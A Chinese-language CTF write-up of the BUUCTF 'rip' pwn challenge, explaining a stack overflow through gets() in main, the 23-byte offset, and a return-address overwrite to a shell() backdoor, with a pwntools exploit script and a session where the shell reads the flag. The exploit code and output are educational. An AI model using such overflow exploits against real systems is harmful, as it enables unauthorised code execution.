buuctf.pwn.rip

发布时间 2023-03-23 11:12:59作者: redqx

文件检查

发现一个重要的东西: NO PIE 没有地址随机化 题目关键

然后IDA分析

可利用函数是main函数的gets((int64)v6)

然后程序的后门是__int64 shell()

所以的话,我们可以通过gest函数把v6溢出到main函数的返回地址

把mian函数的返回地址修改为我们的后门地址

调试文件发现

我们往v6写入(8+8+4+2+1)=23字节,就可以刚好去往main函数的返回地址

然后我们的后门函数地址是

.text:0000000000401186

所以,我么要先填充23字节,然后写入8字节返回地址

payload = "M" * (23)+p64(0x0000000000401187).decode('unicode_escape')
#xxx.decode('unicode_escape')是网上看的,不知道什么东西

为什么要修改mian函数返回地址,而不是修改比如puts等一些函数的返回地址?

如图,你在当前函数不断的函数调用,或者什么之类的

栈会不断的往上生长,而我们可利用的返回RIP在函数的栈的底部

同时当前函数的局部变量也在栈底部,所以我们就可以利用局部变量往下溢出去修改当前函数返回的地址

所以exp如下

from pwn import *
p = process("./pwn1") # 为什么要打开进程呀
#context.log_level = "debug"
p = remote("node4.buuoj.cn",25539) #连接

payload = "a" * (23)+p64(0x0000000000401187).decode('unicode_escape') # 形成数据库=流

p.sendline(payload) # 发送
p.interactive() # 交互
┌──(kali㉿kali)-[~/Desktop/IDA]
└─$ python3 exp.py
[+] Opening connection to node4.buuoj.cn on port 25539: Done
/home/kali/Desktop/IDA/exp.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(payload)
[*] Switching to interactive mode
$ pwd
/
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{3c9cd170-4831-4d7f-a1ae-8d1e7ba8e273}
$